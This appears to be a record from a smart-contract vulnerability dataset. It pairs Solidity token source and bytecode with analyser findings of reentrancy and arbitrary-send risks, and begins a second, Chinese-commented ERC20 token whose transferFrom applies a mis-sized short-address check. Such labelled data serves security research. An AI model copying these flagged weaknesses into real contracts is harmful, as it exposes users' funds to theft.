receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033c578063a9059cbb14610367578063c3c8cd80146103a4578063c9567bf9146103bb578063dd62ed3e146103d257610114565b80636fc3eaec146102a657806370a08231146102bd578063715018a6146102fa5780638da5cb5b1461031157610114565b806323b872dd116100dc57806323b872dd146101d55780632ab3083814610212578063313ce56714610229578063537df3b6146102545780635932ead11461027d57610114565b806306fdde031461011957806308aad1f114610144578063095ea7b31461016d57806318160ddd146101aa57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61040f565b60405161013b9190612536565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612072565b61044c565b005b34801561017957600080fd5b50610194600480360381019061018f919061214f565b610508565b6040516101a1919061251b565b60405180910390f35b3480156101b657600080fd5b506101bf610526565b6040516101cc9190612658565b60405180910390f35b3480156101e157600080fd5b506101fc60048036038101906101f79190612100565b610538565b604051610209919061251b565b60405180910390f35b34801561021e57600080fd5b50610227610611565b005b34801561023557600080fd5b5061023e6106b9565b60405161024b91906126cd565b60405180910390f35b34801561026057600080fd5b5061027b60048036038101906102769190612072565b6106c2565b005b34801561028957600080fd5b506102a4600480360381019061029f919061218b565b61077e565b005b3480156102b257600080fd5b506102bb610830565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612072565b6108a2565b6040516102f19190612658565b60405180910390f35b34801561030657600080fd5b5061030f6108f3565b005b34801561031d57600080fd5b50610326610a46565b604051610333919061244d565b60405180910390f35b34801561034857600080fd5b50610351610a6f565b60405161035e9190612536565b60405180910390f35b34801561037357600080fd5b5061038e6004803603810190610389919061214f565b610aac565b60405161039b919061251b565b60405180910390f35b3480156103b057600080fd5b506103b9610aca565b005b3480156103c757600080fd5b506103d0610b44565b005b3480156103de57600080fd5b506103f960048036038101906103f491906120c4565b6110a3565b6040516104069190612658565b60405180910390f35b60606040518060400160405280601381526020017f4a756e6765722753746f726d6f66537465656c00000000000000000000000000815250905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661048d61112a565b73ffffffffffffffffffffffffffffffffffffffff16146104ad57600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061051c61051561112a565b8484611132565b6001905092915050565b600069d3c21bcecceda1000000905090565b60006105458484846112fd565b6106068461055161112a565b61060185604051806060016040528060288152602001612ba760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105b761112a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115039092919063ffffffff16565b611132565b600190509392505050565b61061961112a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069d906125d8565b60405180910390fd5b69d3c21bcecceda1000000601181905550565b60006009905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661070361112a565b73ffffffffffffffffffffffffffffffffffffffff161461072357600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61078661112a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610813576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080a906125d8565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661087161112a565b73ffffffffffffffffffffffffffffffffffffffff161461089157600080fd5b600047905061089f81611567565b50565b60006108ec600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115d3565b9050919050565b6108fb61112a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610988576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097f906125d8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4a534f5300000000000000000000000000000000000000000000000000000000815250905090565b6000610ac0610ab961112a565b84846112fd565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b0b61112a565b73ffffffffffffffffffffffffffffffffffffffff1614610b2b57600080fd5b6000610b36306108a2565b9050610b4181611641565b50565b610b4c61112a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd0906125d8565b60405180910390fd5b601060149054906101000a900460ff1615610c29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2090612638565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cba30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669d3c21bcecceda1000000611132565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0057600080fd5b505afa158015610d14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d38919061209b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d9a57600080fd5b505afa158015610dae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd2919061209b565b6040518363ffffffff1660e01b8152600401610def929190612468565b602060405180830381600087803b158015610e0957600080fd5b505af1158015610e1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e41919061209b565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eca306108a2565b600080610ed5610a46565b426040518863ffffffff1660e01b8152600401610ef7969594939291906124ba565b6060604051808303818588803b158015610f1057600080fd5b505af1158015610f24573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f4991906121dd565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff02191690831515021790555069d3c21bcecceda10000006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104d929190612491565b602060405180830381600087803b15801561106757600080fd5b505af115801561107b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109f91906121b4565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119990612618565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611212576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120990612578565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112f09190612658565b60405180910390a3505050565b60008111611340576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611337906125f8565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561139757600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146114a757600a54600c81905550600b54600d8190555060006113e7306108a2565b9050601060159054906101000a900460ff161580156114545750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561146c5750601060169054906101000a900460ff165b156114a55760008111156114845761148381611641565b5b600047905067016345785d8a00008111156114a3576114a247611567565b5b505b505b6114af610a46565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576000600d819055506000600c819055505b6114fe83838361193b565b505050565b600083831115829061154b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115429190612536565b60405180910390fd5b506000838561155a919061281e565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156115cf573d6000803e3d6000fd5b5050565b600060085482111561161a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161190612558565b60405180910390fd5b600061162461194b565b9050611639818461197690919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561169f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156116cd5781602001602082028036833780820191505090505b509050308160008151811061170b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156117ad57600080fd5b505afa1580156117c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117e5919061209b565b8160018151811061181f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061188630600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611132565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118ea959493929190612673565b600060405180830381600087803b15801561190457600080fd5b505af1158015611918573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b6119468383836119c0565b505050565b6000806000611958611b8b565b9150915061196f818361197690919063ffffffff16565b9250505090565b60006119b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bf0565b905092915050565b6000806000806000806119d287611c53565b955095509550955095509550611a3086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbb90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ac585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b1181611d63565b611b1b8483611e20565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b789190612658565b60405180910390a3505050505050505050565b60008060006008549050600069d3c21bcecceda10000009050611bc369d3c21bcecceda100000060085461197690919063ffffffff16565b821015611be35760085469d3c21bcecceda1000000935093505050611bec565b81819350935050505b9091565b60008083118290611c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2e9190612536565b60405180910390fd5b5060008385611c469190612793565b9050809150509392505050565b6000806000806000806000806000611c708a600c54600d54611e5a565b9250925092506000611c8061194b565b90506000806000611c938e878787611ef0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611cfd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611503565b905092915050565b6000808284611d14919061273d565b905083811015611d59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5090612598565b60405180910390fd5b8091505092915050565b6000611d6d61194b565b90506000611d848284611f7990919063ffffffff16565b9050611dd881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611e3582600854611cbb90919063ffffffff16565b600881905550611e5081600954611d0590919063ffffffff16565b6009819055505050565b600080600080611e866064611e78888a611f7990919063ffffffff16565b61197690919063ffffffff16565b90506000611eb06064611ea2888b611f7990919063ffffffff16565b61197690919063ffffffff16565b90506000611ed982611ecb858c611cbb90919063ffffffff16565b611cbb90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611f098589611f7990919063ffffffff16565b90506000611f208689611f7990919063ffffffff16565b90506000611f378789611f7990919063ffffffff16565b90506000611f6082611f528587611cbb90919063ffffffff16565b611cbb90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611f8c5760009050611fee565b60008284611f9a91906127c4565b9050828482611fa99190612793565b14611fe9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fe0906125b8565b60405180910390fd5b809150505b92915050565b60008135905061200381612b61565b92915050565b60008151905061201881612b61565b92915050565b60008135905061202d81612b78565b92915050565b60008151905061204281612b78565b92915050565b60008135905061205781612b8f565b92915050565b60008151905061206c81612b8f565b92915050565b60006020828403121561208457600080fd5b600061209284828501611ff4565b91505092915050565b6000602082840312156120ad57600080fd5b60006120bb84828501612009565b91505092915050565b600080604083850312156120d757600080fd5b60006120e585828601611ff4565b92505060206120f685828601611ff4565b9150509250929050565b60008060006060848603121561211557600080fd5b600061212386828701611ff4565b935050602061213486828701611ff4565b925050604061214586828701612048565b9150509250925092565b6000806040838503121561216257600080fd5b600061217085828601611ff4565b925050602061218185828601612048565b9150509250929050565b60006020828403121561219d57600080fd5b60006121ab8482850161201e565b91505092915050565b6000602082840312156121c657600080fd5b60006121d484828501612033565b91505092915050565b6000806000606084860312156121f257600080fd5b60006122008682870161205d565b93505060206122118682870161205d565b92505060406122228682870161205d565b9150509250925092565b60006122388383612244565b60208301905092915050565b61224d81612852565b82525050565b61225c81612852565b82525050565b600061226d826126f8565b612277818561271b565b9350612282836126e8565b8060005b838110156122b357815161229a888261222c565b97506122a58361270e565b925050600181019050612286565b5085935050505092915050565b6122c981612864565b82525050565b6122d8816128a7565b82525050565b60006122e982612703565b6122f3818561272c565b93506123038185602086016128b9565b61230c8161294a565b840191505092915050565b6000612324602a8361272c565b915061232f8261295b565b604082019050919050565b600061234760228361272c565b9150612352826129aa565b604082019050919050565b600061236a601b8361272c565b9150612375826129f9565b602082019050919050565b600061238d60218361272c565b915061239882612a22565b604082019050919050565b60006123b060208361272c565b91506123bb82612a71565b602082019050919050565b60006123d360298361272c565b91506123de82612a9a565b604082019050919050565b60006123f660248361272c565b915061240182612ae9565b604082019050919050565b600061241960178361272c565b915061242482612b38565b602082019050919050565b61243881612890565b82525050565b6124478161289a565b82525050565b60006020820190506124626000830184612253565b92915050565b600060408201905061247d6000830185612253565b61248a6020830184612253565b9392505050565b60006040820190506124a66000830185612253565b6124b3602083018461242f565b9392505050565b600060c0820190506124cf6000830189612253565b6124dc602083018861242f565b6124e960408301876122cf565b6124f660608301866122cf565b6125036080830185612253565b61251060a083018461242f565b979650505050505050565b600060208201905061253060008301846122c0565b92915050565b6000602082019050818103600083015261255081846122de565b905092915050565b6000602082019050818103600083015261257181612317565b9050919050565b600060208201905081810360008301526125918161233a565b9050919050565b600060208201905081810360008301526125b18161235d565b9050919050565b600060208201905081810360008301526125d181612380565b9050919050565b600060208201905081810360008301526125f1816123a3565b9050919050565b60006020820190508181036000830152612611816123c6565b9050919050565b60006020820190508181036000830152612631816123e9565b9050919050565b600060208201905081810360008301526126518161240c565b9050919050565b600060208201905061266d600083018461242f565b92915050565b600060a082019050612688600083018861242f565b61269560208301876122cf565b81810360408301526126a78186612262565b90506126b66060830185612253565b6126c3608083018461242f565b9695505050505050565b60006020820190506126e2600083018461243e565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061274882612890565b915061275383612890565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612788576127876128ec565b5b828201905092915050565b600061279e82612890565b91506127a983612890565b9250826127b9576127b861291b565b5b828204905092915050565b60006127cf82612890565b91506127da83612890565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612813576128126128ec565b5b828202905092915050565b600061282982612890565b915061283483612890565b925082821015612847576128466128ec565b5b828203905092915050565b600061285d82612870565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006128b282612890565b9050919050565b60005b838110156128d75780820151818401526020810190506128bc565b838111156128e6576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612b6a81612852565b8114612b7557600080fd5b50565b612b8181612864565b8114612b8c57600080fd5b50565b612b9881612890565b8114612ba357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122041cf2acf4460d1ced641142cdfe7e13a8d3efbb886fb74adbe515de88f29bf7164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,463 |
0xC3164DFf80E8B8A8d5b80D79d5E9a6af039F3500
|
pragma solidity >0.4.17;
/**
* @title SafeMath 数学安全函数
* @dev Math operations with safety checks that throw on error.
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// 分母大于0在solidity合约中已经会自动判定了
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable 代币的拥有者
* @dev The Ownable contract has an owner address, and provides basic authorization control.
* @dev functions, this simplifies the implementation of "user permissions".
* @dev 这个合约主要是指明合约创建人为代币的创建者,还包括授权控制功能,简化“用户权限”.
*/
contract Ownable{
//"拥有者"
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
* @dev 把创建合约的人作为初始的“拥有者”.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
* @dev 暂时未知, 应该是只能拥有者进行的操作.
*/
modifier onlyOwner(){
require(msg.sender == owner, "仅owner调用!");
//这一行表示继承此合约中使用
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @dev 权力转移给新的拥有者
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner{
//先确保新用户不是0x0地址
require(newOwner != address(0), "不能给地址0转移owner");
owner = newOwner;
}
}
/**
* @title ERC20Basic 基于REC20,不是直接继承,而是类似的代码
* @dev Simpler version of ERC20 interface 对于ERC20标准接口的简化版本
* @dev see https://github.com/ethereum/EIPs/issues/20
* @dev 新版本的编译器0.6.1要求抽象合约前要加abstract,并且抽象函数要加上virtual
*/
contract ERC20Basic{
//定义接口的一系列函数
uint public _totalSupply;//总发行货币量
function totalSupply() public view returns(uint);//查看总货币量函数
function balanceOf(address who) public view returns(uint);//查某人余额
function transfer(address to, uint value) public;//转账交易函数
event Transfer(address indexed from, address indexed to, uint value);//定义转账记录事件
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
* @dev 继承与上面的接口
*/
contract ERC20 is ERC20Basic{
//拓展了第三方授权功能
//授权给别人用自己的钱,返回钱数?
function allowance(address owner, address spender) public view returns(uint);
//借助谁(from)向谁(to)转币
function transferFrom(address from, address to, uint value) public;
//授权使用额度函数
function approve(address spender, uint value) public;
//记录授权
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Basic token 基础代币
* @dev Basic version of StandardToken, with no allowances.
* @dev 仅实现代币基本功能(没有第三方授权)
*
*/
contract BasicToken is Ownable, ERC20Basic{
//使用安全数学函数
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
// 如果有必要收取交易费用,可使用其他变量
uint public basisPointsRate = 0; //基本利率
uint public maximunFee = 0; //最大利息金额
/**
* @dev Fix for the ERC20 short address attack. 防止短地址攻击,具体可看博客ERC20文章
* @dev 凡是涉及转账交易(合约调用)都需要加上这一限制
*/
modifier onlyPayloadSize(uint size){
//msg.data就是data域(calldata)中的内容,一般来说都是4(函数名)+32(转账地址)+32(转账金额)=68字节
//短地址攻击简单来说就是转账地址后面为0但故意缺省,导致金额32字节前面的0被当做地址而后面自动补0导致转账金额激增。
//参数size就是除函数名外的剩下字节数
//解决方法:对后面的的字节数的长度限制要求
require(!(msg.data.length < size+4), "Invalid short address");
_;
}
/**
* @dev transfer token for a specified address 转给一个符合规定(非短地址)的地址
* @param _to The address to transfer to. 转账地址
* @param _value The amount to be transferred. 转账金额
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32){
//先算利息: (转账金额*基本利率)/10000 (ps:因为浮点会精度缺失,所以这样计算)
uint fee = (_value.mul(basisPointsRate)).div(10000);
//判断是否超最大额
if (fee > maximunFee) fee = maximunFee;
//计算剩下的钱
uint sendAmount = _value.sub(fee);
//转账的钱要够 源码没加这个判断不知为何?
//不需要检查,因为后面balances[msg.sender].sub(sendAmount)其中会检查,不够会报异常。
//require(balances[msg.sender] >= _value);
//有安全数学函数就不用判断溢出了
//扣钱
balances[msg.sender] = balances[msg.sender].sub(sendAmount);
//加钱
balances[_to] = balances[_to].add(sendAmount);
//利息去向->owner
if (fee > 0){
//因为继承于Ownable,所以可以拿到owner
balances[owner] = balances[owner].add(fee);
//继承于ERCBasic接口,其中申明了Transfer记录
//记录利息去向
emit Transfer(msg.sender, owner, fee);
}
//记录转账去向,注意记录的不是总金额而是去除交易费的金额
emit Transfer(msg.sender, _to, sendAmount);
}
/**
* @dev Gets the balance of the specified address. 查余额函数
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns(uint balance){
return balances[_owner];
}
}
/**
* @title Standard ERC20 token ERC20标准代币
*
* @dev Implementation of the basic standard token. 依据基本代币准则
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
* @dev 借鉴了firstblood代币
* @dev 对代币基础功能的拓展-> 添加了第三方授权功能
*/
contract StandardToken is BasicToken, ERC20{
//授权金额映射:某人对其他所有人授权的金额的映射
mapping(address => mapping(address => uint)) public allowed;
//uint最大值
uint public constant MAX_UINT = 2**256-1;
/**
* @dev Transfer tokens from one address to another 授权转账:从一个账户转到另一个账户
* @param _from address The address which you want to send tokens from 已得到授权的账户
* @param _to address The address which you want to transfer to 转向的账户
* @param _value uint the amount of tokens to be transferred 转账金额
*/
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(2 * 32){
//授权金额:授权者对于当前调用者授权其可使用的金额量
uint _allowance = allowed[_from][msg.sender];
//在这里同样不需要检查授权金额是否足够,后面的sub函数这种情况会检测
// require(_allowance >= _value);
//1.先算利息
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximunFee) fee = maximunFee;
//2.扣钱
// 这里为什么要判断?
if (_allowance < MAX_UINT){
//注意这里扣去的是总金额,包括了利息都要从授权方的授权金额去除
allowed[_from][msg.sender] = _allowance.sub(_value);
}
balances[_from] = balances[_from].sub(_value);
//3.加钱
uint sendAmount = _value.sub(fee);
balances[_to] = balances[_to].add(sendAmount);
//4.利息去向
if (fee > 0){
balances[owner] = balances[owner].add(fee);
emit Transfer(_from, owner, fee);
}
//5.记录
emit Transfer(_from, _to, sendAmount);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @dev 调用者授权给他人可使用金额
* @param _spender The address which will spend the funds. 被授权者
* @param _value The amount of tokens to be spent. 金额
*/
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32){
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
//这里的限定条件是:不能将已设置过的授权金额改动,除非改为0。
//也就是说对他人的授权金额只能是从0改为value,这一次机会,再改就只能改回到0
require(!(_value != 0 && allowed[msg.sender][_spender] != 0), "You have only one chance to approve , you can only change it to 0 later");
//1.改allowed
allowed[msg.sender][_spender] = _value;
//2. 记录
emit Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds. 地址拥有资金的地址。
* @param _spender address The address which will spend the funds. 查看授权了多少钱
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns(uint remaining){
return allowed[_owner][_spender];
}
}
/**
